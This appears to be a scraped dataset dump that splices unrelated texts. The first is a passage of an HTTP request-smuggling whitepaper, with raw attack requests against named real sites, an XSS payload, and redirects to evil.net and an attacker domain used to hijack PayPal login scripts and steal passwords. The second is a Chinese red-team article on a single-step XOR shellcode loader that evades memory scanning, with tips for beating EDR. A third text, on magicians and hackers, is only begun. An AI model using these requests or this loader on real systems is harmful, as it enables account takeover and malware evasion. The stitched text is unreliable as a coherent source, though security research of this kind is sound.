the attack is successful the victim request (in green) will get a 404 response.\nThe TE.CL attack looks similar, but the need for a closing chunk means we need to specify all the headers\nourselves and place the victim request in the body. Ensure the Content-Length in the prefix is slightly larger\nthan the body:\nPOST/searchHTTP/1.1\nHost:example.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:4\nTransfer-Encoding:zchunked\n96\nGET/404HTTP/1.1\nX:x=1&q=smugging&x=\nHost:example.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:100\nx=\n0\nPOST/searchHTTP/1.1\nHost:example.com\nIf the site is live, another user's request may hit the poisoned socket before yours, which will make your\nattack fail and potentially upset the user. As a result this process often takes a few attempts, and on high-\ntraffic sites may require thousands of attempts. Please exercise both caution and restraint, and target staging\nservers were possible.\nExplore\nI'll demonstrate the rest of the methodology using a range of real websites. As usual I've exclusively targeted\ncompanies that make it clear they're happy to work with security researchers by running a bug bounty\nprogram. Thanks to the proliferation of private programs and lethargic patch times, I've sadly had to redact\nquite a few. Where websites are explicitly named, please bear in mind that they're one of the few that are now\nsecure against this attack.\nNow we've established that socket poisoning is possible, the next step is to gather information so we can\nlaunch a well-informed attack.\nFront-ends often append and rewrite HTTP request headers like X-Forwarded-Host and X-Forwarded-For\nalongside numerous custom ones that often have difficult-to-guess names. Our smuggled requests may be\nmissing these headers, which can lead to unexpected application behaviour and failed attacks.\nFortunately, there's a simple strategy with which we can partially lift the curtain and gain visibility into these\nhidden headers. This lets us restore functionality by manually adding the headers ourselves, and may even\nenable further attacks.\nSimply find a page on the target application which reflects a POST parameter, shuffle the parameters so the\nreflected one is last, increase the Content-Length a little, and then smuggle the resulting request:\nPOST/HTTP/1.1\nHost:login.newrelic.com\nContent-Length:142\nTransfer-Encoding:chunked\nTransfer-Encoding:x\n0\nPOST/loginHTTP/1.1\nHost:login.newrelic.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:100\n…\nlogin[email]=asdfPOST/loginHTTP/1.1\nHost:login.newrelic.com\nThe green request will be rewritten by the front-end before it lands in the login[email] parameter, so when it\ngets reflected back it'll leak all the internal headers:\nPleaseensurethatyouremailandpasswordarecorrect.\n<inputid=\"email\"value=\"asdfPOST/loginHTTP/1.1\nHost:login.newrelic.com\nX-Forwarded-For:81.139.39.150\nX-Forwarded-Proto:https\nX-TLS-Bits:128\nX-TLS-Cipher:ECDHE-RSA-AES128-GCM-SHA256\nX-TLS-Version:TLSv1.2\nx-nr-external-service:external\nBy incrementing the Content-Length header you can gradually retrieve more information, until you try to\nread beyond the end of the victim request and it times out.\nSome systems are completely reliant on the front-end system for security, and as soon as you're past that you\ncan waltz straight in. On login.newrelic.com, the 'backend' system was a proxy iself, so changing the\nsmuggled Host header granted me access to different New Relic systems. Initially, every internal system I hit\nthought my request was sent over HTTP and responded with a redirect:\n...\nGET/HTTP/1.1\nHost:staging-alerts.newrelic.com\nHTTP/1.1301MovedPermanently\nLocation:https://staging-alerts.newrelic.com/\nThis was easily fixed using the X-Forwarded-Proto header observed earlier:\n...\nGET/HTTP/1.1\nHost:staging-alerts.newrelic.com\nX-Forwarded-Proto:https\nHTTP/1.1404NotFound\nActionController:Exceptioncaught\nWith a little content discovery I found a useful endpoint on the target:\n...\nGET/revision_checkHTTP/1.1\nHost:staging-alerts.newrelic.com\nX-Forwarded-Proto:https\nHTTP/1.1200OK\nNotauthorizedwithheader:\nThe error message clearly told me I needed an authorisation header of some sort, but teasingly failed to name\nit. I decided to try the 'X-nr-external-service' header seen earlier:\n...\nGET/revision_checkHTTP/1.1\nHost:staging-alerts.newrelic.com\nX-Forwarded-Proto:https\nX-nr-external-service:1\nHTTP/1.1403Forbidden\nForbidden\nUnfortunately this didn't work - it caused the same Forbidden response that we'd already seen when trying\naccess that URL directly. This suggested that the front-end was using the X-nr-external-service header to\nindicate that the request originated from the internet, and by smuggling and therefore losing the header, we'd\naccidentally tricked their system into thinking our request originated internally. This was very educational,\nbut not directly useful - we still needed the name of the missing authorization header.\nAt this point I could have applied the processed-request-reflection technique to a range of endpoints until I\nfound one that had the right request header. Instead, I decided to cheat and consult my notes from last time I\ncompromised New Relic6. This revealed two invaluable headers - Server-Gateway-Account-Id and Service-\nGateway-Is-Newrelic-Admin. Using these, I was able to gain full admin-level access to their internal API:\nPOST/loginHTTP/1.1\nHost:login.newrelic.com\nContent-Length:564\nTransfer-Encoding:chunked\nTransfer-encoding:cow\n0\nPOST/internal_api/934454/sessionHTTP/1.1\nHost:alerts.newrelic.com\nX-Forwarded-Proto:https\nService-Gateway-Account-Id:934454\nService-Gateway-Is-Newrelic-Admin:true\nContent-Length:6\n…\nx=123GET...\nHTTP/1.1200OK\n{\n\"user\":{\n\"account_id\":934454,\n\"is_newrelic_admin\":true\n},\n\"current_account_id\":934454\n…\n}\nNew Relic deployed a hotfix and diagnosed the root cause as a weakness in an F5 gateway. As far as I'm\naware there's no patch available, meaning this is still a zeroday at the time of writing.\nExploit\nBreaking straight into internal APIs is great when it works, but it's rarely our only option. There's also a\nwealth of different attacks we can launch against everyone browsing the target website.\nTo establish which attacks we can apply to other users, we need to understand what types of request we can\npoison. Repeat the socket poisoning test from the 'Confirm' stage, but iteratively tweak the 'victim' request\nuntil it resembles a typical GET request. You might find that you can only poison requests with certain\nmethods, paths or headers. Also, try issuing the victim request from a different IP address - in rare cases, you\nmay find that you can only poison requests originating from the same IP.\nFinally, check if the website uses a web cache - these can help bypass many restrictions, increase our control\nover which resources get poisoned, and ultimately multiply the severity of request smuggling vulnerabilities.\nStore\nIf the application supports editing or storing any kind of text data, exploitation is exceptionally easy. By\nprefixing the victim's request with a crafted storage request, we can make the application save their request\nand display it back to us - then steal any authentication cookies/headers. Here's an example targeting Trello,\nusing their profile-edit endpoint:\nPOST/1/cardsHTTP/1.1\nHost:trello.com\nTransfer-Encoding:[tab]chunked\nContent-Length:4\n9f\nPUT/1/members/1234HTTP/1.1\nHost:trello.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:400\nx=x&csrf=1234&username=testzzz&bio=cake\n0\nGET/HTTP/1.1\nHost:trello.com\nAs soon as the victim's request arrived, it would end up saved on my profile, exposing all their headers and\ncookies:\nThe only major gotcha with this technique is that you'll lose any data that occurs after an '&', which makes it\nhard to steal the body from form-encoded POST requests. I spent a while trying to work around this\nlimitation by using alternative request encodings and ultimately gave up, but I still suspect it's possible\nsomehow.\nData storage opportunities aren't always as obvious as this - on another site, I was able to use the 'Contact Us'\nform, eventually triggering an email containing the victim's request and earning an extra $2,500.\nAttack\nBeing able to apply an arbitrary prefix to other people's responses also opens up another avenue of attack -\ntriggering a harmful response.\nThere's two primary ways of using harmful responses. The simplest is to issue an 'attack' request, then wait\nfor someone else's request to hit the backend socket and trigger the harmful response. A trickier but more\npowerful approach is to issue both the 'attack' and 'victim' requests ourselves, and hope that the harmful\nresponse to the victim request gets saved by a web cache and served up to anyone else who hits the same\nURL - web cache poisoning.\nIn each of the following request/response snippets, the black text is the response to the second (green)\nrequest. The response to the first (blue) request is omitted as it isn't relevant.\nUpgrading XSS\nWhile auditing a SaaS application, Param Miner7 spotted a parameter called SAML and Burp's scanner\nconfirmed it was vulnerable to reflected XSS. Reflected XSS is nice by itself, but tricky to exploit at scale\nbecause it requires user-interaction.\nWith request smuggling, we can make a response containing XSS get served to random people actively\nbrowsing the website, enabling straightforward mass-exploitation. We can also gain access to authentication\nheaders and HTTP only cookies, potentially letting us pivot to other domains.\nPOST/HTTP/1.1\nHost:saas-app.com\nContent-Length:4\nTransfer-Encoding:chunked\n10\n=x&cr={creative}&x=\n66\nPOST/index.phpHTTP/1.1\nHost:saas-app.com\nContent-Length:200\nSAML=a\"><script>alert(1)</script>POST/HTTP/1.1\nHost:saas-app.com\nCookie:…\nHTTP/1.1200OK\n…\n<inputname=\"SAML\"value=\"a\"><script>alert(1)</script>\n0\nPOST/HTTP/1.1\nHost:saas-app.com\nCookie:…\n\"/>\nGrasping the DOM\nWhile looking for a vulnerability to chain with request smuggling on www.redhat.com, I found a DOM-based\nopen redirect which presented an interesting challenge:\nGET/assets/idx?redir=//redhat.com@evil.net/HTTP/1.1\nHost:www.redhat.com\nHTTP/1.1200OK\n<script>\nvardestination=getQueryParam('redir')\n[poorfiltering]\ndocument.location=destination\n</script>\nSome JavaScript on the page was reading the 'redir' parameter from the victim browser's query string, but\nhow could I control it? Request smuggling gives us control over what the server thinks the query string is, but\nthe victim's browser's perception of the query string is simply whatever page they were trying to access.\nI was able to resolve this by chaining in a server-side non-open redirect:\nPOST/css/style.cssHTTP/1.1\nHost:www.redhat.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:122\nTransfer-Encoding:chunked\n0\nPOST/search?dest=../assets/idx?redir=//redhat.com@evil.net/HTTP/1.1\nHost:www.redhat.com\nContent-Length:15\nx=GET/en/solutionsHTTP/1.1\nHost:www.redhat.com\nHTTP/1.1301Found\nLocation:../assets/idx?redir=//redhat.com@evil.net/\nThe victim browser would receive a 301 redirect to https://www.redhat.com/assets/x.html?\nredir=//redat.com@evil.net/ which would then execute the DOM-based open redirect and dump them on\nevil.net\nCDN Chaining\nSome websites use multiple layers of reverse proxies and CDNs. This gives us extra opportunities for\ndesynchronization which is always appreciated, and it often also increases the severity.\nOne target was somehow using two layers of Akamai, and despite the servers being by the same vendor it\nwas possible to desynchronize them and thereby serve content from anywhere on the Akamai network on the\nvictim's website:\nPOST/cow.jpgHTTP/1.1\nHost:redacted.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:50\nTransfer-Encoding:chunked\n0\nGET/HTTP/1.1\nHost:www.redhat.com\nX:XGET...\nRedHat-Wemakeopensourcetechnologiesfortheenterprise\nThe same concept works on SaaS providers - I was able to exploit a critical website built on a well known\nSaaS platform by directing requests to a different system built on the same platform.\n'Harmless' responses\nBecause request smuggling lets us influence the response to arbitrary requests, some ordinarily harmless\nbehaviours become exploitable. For example, even the humble open redirect can be used to compromise\naccounts by redirecting JavaScript imports to a malicious domain.\nRedirects that use the 307 code are particularly useful, as browsers that receive a 307 after issuing a POST\nrequest will resend the POST to the new destination. This may mean you can make unwitting victims send\ntheir plaintext passwords directly to your website.\nClassic open redirects are quite common by themselves, but there's a variant which is endemic throughout the\nweb as it stems from a default behaviour in both Apache and IIS. It's conveniently considered to be harmless\nand overlooked by pretty much everyone, as without an accompanying vulnerability like request smuggling it\nis indeed useless. If you try to access a folder without a trailing slash, the server will respond with a redirect\nto append the slash, using the hostname from the host header:\nPOST/etc/libs/xyz.jsHTTP/1.1\nHost:redacted\nContent-Length:57\nTransfer-Encoding:chunked\n0\nPOST/etcHTTP/1.1\nHost:burpcollaborator.net\nX:XGET/etc/libs/xyz.jsHTTP/1.1\nHTTP/1.1301MovedPermanently\nLocation:https://burpcollaborator.net/etc/\nWhen using this technique, keep a close eye on the protocol used in the redirect. You may be able to influence\nit using a header like X-Forwarded-SSL. If it's stuck on HTTP, and you're attacking a HTTPS site, the\nvictim's browser will block the connection thanks to its mixed-content protection. There are two known\nexceptions8 to this - Internet Explorer's mixed-content protection can be completely bypassed, and Safari will\nauto-upgrade the connection to HTTPS if the redirection target is in its HSTS cache.\nWeb Cache Poisoning\nA few hours after trying some redirect based attacks on a particular website, I opened their homepage in a\nbrowser to look for more attack surface and spotted the following error in the dev console:\nThis error occurred regardless of which machine I loaded the website from, and the IP address looked awfully\nfamiliar. During my redirect probe, someone else's request for an image file had slipped in before my victim\nrequest and the poisoned response had been saved by the cache.\nThis was a great demonstration of the potential impact, but overall not an ideal outcome. Aside from relying\non timeout-based detection, there's no way to fully eliminate the possibility of accidental cache poisoning.\nThat said, to minimise the risk you can:\n- Ensure the 'victim' requests have a cachebuster.\n- Send the 'victim' requests as fast as possible, using Turbo Intruder.\n- Try to craft a prefix that triggers a response with anti-caching headers, or a status code that's unlikely to be\ncached.\n- Target a front-end in a geographic region that's asleep.\nWeb Cache Deception++\nWhat if instead of trying to mitigate the chance of attacker/user hybrid responses getting cached, we embrace\nit?\nInstead of using a prefix designed to cause a harmful response, we could try to fetch a response containing\nsensitive information, with our victim's cookies:\nPOST/HTTP/1.1\nTransfer-Encoding:blah\n0\nGET/account/settingsHTTP/1.1\nX:XGET/static/site.jsHTTP/1.1\nCookie:sessionid=xyz\nFrontend perspective:\nGET/static/site.jsHTTP/1.1\nHTTP/1.1200OK\nYourpaymenthistory\n…\nWhen a user's request for a static resource hits the poisoned socket, the response will contain their account\ndetails, and the cache will save these over the static resource. We can then retrieve the account details by\nloading /static/site.js from the cache.\nThis is effectively a new variant of the Web Cache Deception attack. It's more powerful in two key ways - it\ndoesn't require any user-interaction, and also doesn't require that the target site lets you play with extensions.\nThe only catch is that the attacker can't be sure where the victim's response will land.\nPayPal\nWith request smuggling chained to cache poisoning I was able to persistently hijack numerous JavaScript\nfiles, and among those was one used on PayPal's login page:\nhttps://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js.\nPOST/webstatic/r/fb/fb-all-prod.pp2.min.jsHTTP/1.1\nHost:c.paypal.com\nContent-Length:61\nTransfer-Encoding:chunked\n0\nGET/webstaticHTTP/1.1\nHost:skeletonscribe.net?\nX:XGET/webstatic/r/fb/fb-all-prod.pp2.min.jsHTTP/1.1\nHost:c.paypal.com\nConnection:close\nHTTP/1.1302Found\nLocation:http://skeletonscribe.net?,c.paypal.com/webstatic/\nHowever there was a problem - PayPal's login page used Content Security Policy with a `script-src` that\nkilled my redirect.\npaypal.com/signin\nc.paypal.com/fb-all.js\nevil.net\nCSP\nThis initially looked like a triumph of defence in depth. However, I noticed that the login page loads a sub-\npage on c.paypal.com in a dynamically generated iframe. This sub-page didn't use CSP, and also imported\nour poisoned JS file. This gave us full control over the iframe's contents, but we still couldn't read the user's\nPayPal password from the parent page thanks to the Same Origin Policy.\npaypal.com/signin\nc.paypal.com/i\nc.paypal.com/fb-all.js\nevil.net\nIFRAME\nCSP\nSOP\nMy colleague Gareth Heyes then discovered a page at paypal.com/us/gifts that didn't use CSP, and also\nimported our poisoned JS file. By using our JS to redirect the c.paypal.com iframe to that URL (and\ntriggering our JS import for the third time) we could finally access the parent and steal plaintext PayPal\npasswords from everyone who logged in using Safari or IE.\npaypal.com/signin\nc.paypal.com/i\nc.paypal.com/fb-all.js\nevil.net\nIFRAME\nPAS\nSW\nOR\nD\n:)\nCSP\nSOP\npaypal.com/us/gifts\nPayPal speedily resolved this vulnerability by configuring Akamai to reject requests that contained a\nTransfer-Encoding:chunked header, and awarded a $18,900 bounty.\nWeeks later while inventing and testing some new desynchronisation techniques, I decided to try using a line-\nwrapped header:\nTransfer-Encoding:\nchunked\nThis seemed to make the Transfer-Encoding header completely invisible to Akamai, who let it through and\nonce again granted me control of PayPal's login page. PayPal speedily applied a more robust fix, and awarded\nan impressive $20,000.\nDemo\nAnother target used a chain of reverse proxies, one of which didn't regard '\\n' as a valid header terminator.\nThis meant a sizeable portion their web infrastructure was vulnerable to request smuggling. I've recorded a\ndemo showing how Desynchronize can be used to efficiently identify and exploit thsi vulnerability on a\nreplica of their Bugzilla installation, which held some extremely sensitive information.\nYou can find the video in the online edition of this whitepaper at https://portswigger.net/blog/http-desync-\nattacks9.\nDefence\nWhenever I discuss an attack technique I get asked if HTTPS prevents it. As always, the answer is 'no'. That\nsaid, your website should be safe if you exclusively use HTTP/2 between the front-end and all backends.\nAs usual, security accompanies simplicity. If your website is free of load balancers, CDNs and reverse\nproxies, this technique is not a threat. The more layers you introduce, the more likely you are to be\nvulnerable.\nAnother approach is to have the front-end normalise poorly formed requests before routing them onward.\nCloudflare and Fastly both apply this approach, and I wasn't able to exploit request smuggling on a single\ntarget hosted on either platform.\nNormalising requests is not an option for back-end servers - they need to outright reject ambiguous requests,\nand drop the associated connection.\nEffective defence is impossible when your tooling works against you. Most web testing tools will\nautomatically 'correct' the Content Length header when sending requests, making request smuggling\nimpossible. In Burp Suite you can disable this behaviour using the Repeater menu - ensure your tool of\nchoice has equivalent functionality. Also, certain companies and bug bounty platforms route their testers'\ntraffic through proxies like Squid for monitoring purposes. These will mangle any request smuggling attacks\nthe testers launch, ensuring the company gets zero coverage against this vulnerability class.\nConclusion\nBuilding on research that has been overlooked for years, I've introduced new techniques to desynchronize\nservers and demonstrated novel ways to exploit the results using numerous real websites as case studies.\nThrough this I've shown that request smuggling is a major threat to the web, that HTTP request parsing is a\nsecurity-critical function, and that tolerating ambiguous messages is dangerous. I've also released a\nmethodology and an open source toolkit to help people audit for request smuggling, prove the impact, and\nearn bounties with minimal risk.\nThis topic is still under-researched, and as such I hope this publication will help inspire new\ndesynchronization techniques and exploits over the next few years.\nReferences\n1. https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf\n2. https://portswigger.net/blog/turbo-intruder-embracing-the-billion-request-attack\n3. https://tools.ietf.org/html/rfc2616#section-4.4\n4. https://regilero.github.io/tag/Smuggling/\n5. https://github.com/portswigger/desynchronize\n6. https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface\n7. https://github.com/PortSwigger/param-miner\n8. https://portswigger.net/blog/practical-web-cache-poisoning#hiddenroutepoisoning\n9. https://portswigger.net/blog/http-desync-attacks"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":56,"cells":{"text":{"kind":"string","value":"单步加解密执行shellcode\n0x00 前言\n国庆收假，看见这么一段代码，非常有意思。文字不太好表述代码的执行流程，如图所示：\n这个图没有很多执行细节，因此并不是很准确，但是已经能够表达我的意思了。简短的说，就是 边解密 \n边执行 再加密，这样内存中只有很小的一部分代码是“明文”状态，其他的代码都是“密文”状态。\n上图只是一个概念图，真正编写代码是细节到单条指令的，具体代码：\nhttps://gist.github.com/jackullrich/ce3b5263e05c88548b175f4f21909384\n在这段代码中，我站在新手同学角度思考，可能有以下几个地方需要理解：\ntypedef VOID(__stdcall* Shellcode)();\n向量化异常处理（AddVectoredExceptionHandler）\n详细的执行流程\n其他部分都非常好理解，下面我们开始读代码，并解释以上问题。\n0x01 阅读代码\n我把代码拆分为几段：\n第一段\nProduced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09\nNo. 1 / 7 - Welcome to www.red-team.cn\n这段代码中，头文件、函数声明和全局变量，都是基础的C语言编程，不用解释，但是其中的：\n这段代码，我刚学C的时候，不太理解，后来才知道被书误导了，通常我们学习typedef的时候是和\n#define做对比，例如这个菜鸟教程：https://www.runoob.com/cprogramming/c-typedef.html，如\n下：\nC 语言提供了 typedef 关键字，您可以使用它来为类型取一个新的名字。下面的实例为单字节数\n字定义了一个术语 BYTE：\n在这个类型定义之后，标识符 BYTE 可作为类型 unsigned char 的缩写，例如：\n这样就很难理解上面的代码了，正确的理解typedef，应该是这样的https://blog.csdn.net/weixin_4225\n5385/article/details/82261774：\ntypedef用来声明一个别名，typedef后面的语法，是一个声明。本来笔者以为这里不会产生什么\n误解的，但结果却出乎意料，产生误解的人不在少数。罪魁祸首又是那些害人的教材。在这些教材\n中介绍typedef的时候通常会写出如下形式：\ntypedef int PARA;\n这种形式跟#define int PARA几乎一样，如前面几章所述，这些教材的宗旨是由浅入深，但实际做\n出来的行为却是以偏盖全。的确，这种形式在所有形式中是最简单的，但却没有对typedef进一步\n解释，使得不少人用#define的思维来看待typedef，把int与PARA分开来看，int是一部分，PARA\n是另一部分，但实际上根本就不是这么一回事。int与PARA是一个整体！就象int i:声明一样是一个\n整体声明，只不过int i定义了一个变量，而typedef定义了一个别名。这些人由于持有这种错误的\n观念，就会无法理解如下一些声明：\ntypedef int a[10]; \ntypedef void (*p)(void);\n他们会以为a[10]是int的别名，(*p)(void)是void的别名，但这样的别名看起来又似乎不是合法的名\n字，于是陷入困惑之中。实际上，上面的语句把a声明为具有10个int元素的数组的类型别名，p是\n一种函数指针的类型别名。\n虽然在功能上，typedef可以看作一个跟int PARA分离的动作，但语法上typedef属于存储类声明\n说明符，因此严格来说，typedef int PARA整个是一个完整的声明。\n#include <Windows.h>\nLONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);\ntypedef VOID(__stdcall* Shellcode)();\nLPBYTE ShellcodeBuffer;\nULONG_PTR PreviousOffset;\nULONG_PTR CurrentOffset;\nULONGLONG InstructionCount;\nDWORD dwOld;\ntypedef VOID(__stdcall* Shellcode)();\ntypedef unsigned char BYTE;\nBYTE b1, b2;\nProduced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09\nNo. 2 / 7 - Welcome to www.red-team.cn\n定义一个函数指针类型。\n比如原函数是 void func(void); \n那么定义的函数指针类型就是typedef void (*Fun)(void); \n然后用此类型生成一个指向函数的指针： Fun func1; \n当func1获取函数地址之后，那么你就可以向调用原函数那样来使用这个函数指针： func1(void);\n第二段\n这段执行shellcode的代码很容易理解，但是其中AddVectoredExceptionHandler和\nRemoveVectoredExceptionHandler是什么呢？\n简单的说就是一个异常处理函数的注册和删除API，当我们的代码出现异常时，就会调用这个API注册的\n回调函数来处理异常，然后根据返回判断是否继续执行程序。当然里面还有很多其他知识，具体可以阅\n读https://blog.csdn.net/diamont/article/details/4259707。\n我们再来回看我们的代码中的：\n我们在修改shellcode的内存页的时候，不仅修改属性为可读可执行，同时设置了PAGE_GUARD，这是\n什么呢？\nPAGE_GUARD： 区域第一次被访问时进入一个STATUS_GUARD_PAGE异常，这个标志要和其他\n保护标志合并使用，表明区域被第一次访问的权限\n通俗的说，就是当我们执行shellcode之前，由于内存页配置了PAGE_GUARD，这个时候就会触发\nSTATUS_GUARD_PAGE异常。出现异常，那么我们使用AddVectoredExceptionHandler注册的异常处\n理函数SingleStepEncryptDecrypt就会被调用。\nint main(void)\n{\n AddVectoredExceptionHandler(TRUE, \n(PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);\n //分配内存,设置属性为可读可写\n ShellcodeBuffer = (LPBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | \nMEM_RESERVE, PAGE_READWRITE);\n InstructionCount = 0;\n if (ShellcodeBuffer)\n {\n //写入加密的shellcode\n RtlCopyMemory(ShellcodeBuffer, Shellcode_XOR_FF, \nsizeof(Shellcode_XOR_FF));\n //修改内存页属性为可读可执行\n if (VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | \nPAGE_GUARD, &dwOld))\n {\n //利用函数指针执行shellcode\n Shellcode AntiMem = (Shellcode)ShellcodeBuffer;\n AntiMem();\n }\n }\nRemoveVectoredExceptionHandler((PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDec\nrypt);\n}\nif (VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, \n&dwOld))\nProduced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09\nNo. 3 / 7 - Welcome to www.red-team.cn\n第三段\n我们来分析下这个函数，这个函数的传入参数为：\nLONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo)\n{\n BYTE* currentBlock128 = NULL;\n CurrentOffset = (ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress \n- (ULONG_PTR)ShellcodeBuffer;\n if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE)\n {\n // This is a naive disassembler\n // Hopefully no instruction is longer than 16 bytes \n currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + CurrentOffset);\n PreviousOffset = CurrentOffset;\n // Decrypt next 16-byte block\n VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);\n for (size_t i = 0; i < 0x10; i++)\n *(BYTE*)(currentBlock128 + i) ^= 0xff;\n VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ, &dwOld);\n // Single step\n ExceptionInfo->ContextRecord->EFlags |= 0x100;\n InstructionCount++;\n // Execute next instruction\n // Triggers EXCEPTION_SINGLE_STEP\n return EXCEPTION_CONTINUE_EXECUTION;\n }\n else if (ExceptionInfo->ExceptionRecord->ExceptionCode == \nEXCEPTION_SINGLE_STEP)\n {\n currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + PreviousOffset);\n // Re-encrypt the 16-byte block\n VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);\n for (size_t i = 0; i < 0x10; i++)\n *(BYTE*)(currentBlock128 + i) ^= 0xff;\n VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, \n&dwOld);\n // Continue execution at next instruction \n // Triggers EXCEPTION_GUARD_PAGE\n return EXCEPTION_CONTINUE_EXECUTION;\n }\n else\n {\n return EXCEPTION_CONTINUE_SEARCH;\n }\n}\nEXCEPTION_POINTERS* ExceptionInfo\nProduced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09\nNo. 4 / 7 - Welcome to www.red-team.cn\n这个里面保存着程序出现异常时的寄存器状态CONTEXT和异常描述信息EXCEPTION_RECORD，结构体\n如下：\n知道了这些，我们再来读上面的代码，就很轻松了，我还是用一个图来表述整个执行流程的细节：\ntypedef struct _EXCEPTION_POINTERS {\n PEXCEPTION_RECORD ExceptionRecord;\n PCONTEXT ContextRecord;\n} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;\ntypedef struct _EXCEPTION_RECORD {\n DWORD ExceptionCode; //异常码，以STATUS_或EXCEPTION_开头，可自定义。\n（sehdef.inc）\n DWORD ExceptionFlags; //异常标志。0可修复；1不可修复；2正在展开，不要试图\n修复\n struct _EXCEPTION_RECORD *ExceptionRecord; //指向嵌套的异常结构，通常是异常中又引发\n异常\n PVOID ExceptionAddress; //异常发生的地址\n DWORD NumberParameters; //下面ExceptionInformation所含有的dword数目\n ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; //附加消息，如读\n或写冲突\n} EXCEPTION_RECORD;\ntypedef struct _CONTEXT {\n DWORD ContextFlags;\n DWORD Dr0;\n DWORD Dr1;\n DWORD Dr2;\n DWORD Dr3;\n DWORD Dr6;\n DWORD Dr7;\n FLOATING_SAVE_AREA FloatSave;\n DWORD SegGs;\n DWORD SegFs;\n DWORD SegEs;\n DWORD SegDs;\n DWORD Edi;\n DWORD Esi;\n DWORD Ebx;\n DWORD Edx;\n DWORD Ecx;\n DWORD Eax;\n DWORD Ebp;\n DWORD Eip;\n DWORD SegCs;\n /*TF位设置成1，cpu进入单步调试模式；\n 执行下一行指令时，会触发STATUS_SINGLE_STEP异常*/\n DWORD EFlags; \n DWORD Esp;\n DWORD SegSs;\n BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];\n} CONTEXT;\nProduced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09\nNo. 5 / 7 - Welcome to www.red-team.cn\n下面这个长条表示写入加密shellcode的内存块儿，我们的开始地址是地址1，执行流程如下：\n1. 当我们从地址1开始访问这块儿内存，由于内存被设置为PAGE_GUARD，因此触发异常\nSTATUS_GUARD_PAGE，会执行\n这个if中的代码，代码先修改内存页为可读可写，然后取16 bytes进行亦或解密，并设置EFlags标\n志位，使得cpu进入单步调试模式， 执行下一行指令时，会触发STATUS_SINGLE_STEP异常。最后\n修改内存页为可读可执行，返回EXCEPTION_CONTINUE_EXECUTION，让程序继续执行。\n2. 程序从地址1开始执行，因为上面已经解密了16 bytes的数据，所以程序能够正常执行一条指令，\n这有个前提，就是这条指令长度要小于16 bytes，一条指令的长度有没有可能大于16 bytes呢？\nThe size or length of an instruction varies widely, from as little as four bits in some \nmicrocontrollers to many hundreds of bits in some VLIW systems. Processors used in \npersonal computers, mainframes, and supercomputers have instruction sizes between \n8 and 64 bits. The longest possible instruction on x86 is 15 bytes (120 bits).[7] \nx86架构的CPU单条指令最长为15 bytes。因此我们解密16 bytes，没有问题，当然是在x86的结构\n下没有问题。\n我们成功执行一条执行，然后就会触发单步调试异常STATUS_SINGLE_STEP，并且我们来到了地址\n2。\n3. 当我们触发单步调试异常STATUS_SINGLE_STEP后，我们会执行\n这个if中的语句，同样先修改修改内存页为可读可写，然后加密前面解密的16 bytes数据，并修改\n内存页为可读可执行和PAGE_GUARD，最后返回EXCEPTION_CONTINUE_EXECUTION，让程序继\n续执行。此时我们的开始地址在地址2，所有内存处于加密状态并被设置成 PAGE_EXECUTE_READ \n| PAGE_GUARD 。这时我们执行了1条指令，开始地址变成了地址2，其他都恢复到了起始状态。\n4. 当我们继续执行程序从地址2开始，又会触发STATUS_GUARD_PAGE异常，然后重复上面的1-3\n步，这样我们就实现了单步加解密执行shellcode。\nif (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE)\nelse if (ExceptionInfo->ExceptionRecord->ExceptionCode == \nEXCEPTION_SINGLE_STEP)\nProduced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09\nNo. 6 / 7 - Welcome to www.red-team.cn\n0x02 总结\n原理就是这样了，但是这段代码还有很多优化的地方：\n1. 单字节亦或，针对内存扫描还是弱了点，一些EDR能够自动解单字节xor\n2. 这段代码是直接分配了0x1000长度的内存放加密的shellcode，这个需要根据实际情况分配，万一\n你shellcode大于0x1000，就要出错了。\n3. 代码是以16 bytes为单位的加解密，在shellcode的尾部不足16 bytes的时候需要做一下判断，这样\n更好点。\nProduced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09\nNo. 7 / 7 - Welcome to www.red-team.cn"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":57,"cells":{"text":{"kind":"string","value":"June 22, 2011 \ni \nCopyright 2011, Electronic Grymoire LLC \n: \nBruce Barnett \n<deception@grymoire.com> \nJune 22, 2011 \nii \nCopyright 2011, Electronic Grymoire LLC \nContents \nIntroduction ................................................................................................................ 1 \nSimilarities between Magicians and Hackers ...................................................... 1 \nThe Magician’s Arsenal ............................................................................................. 2 \nPhysical techniques or Props .............................................................................. 2 \nThe Gaff 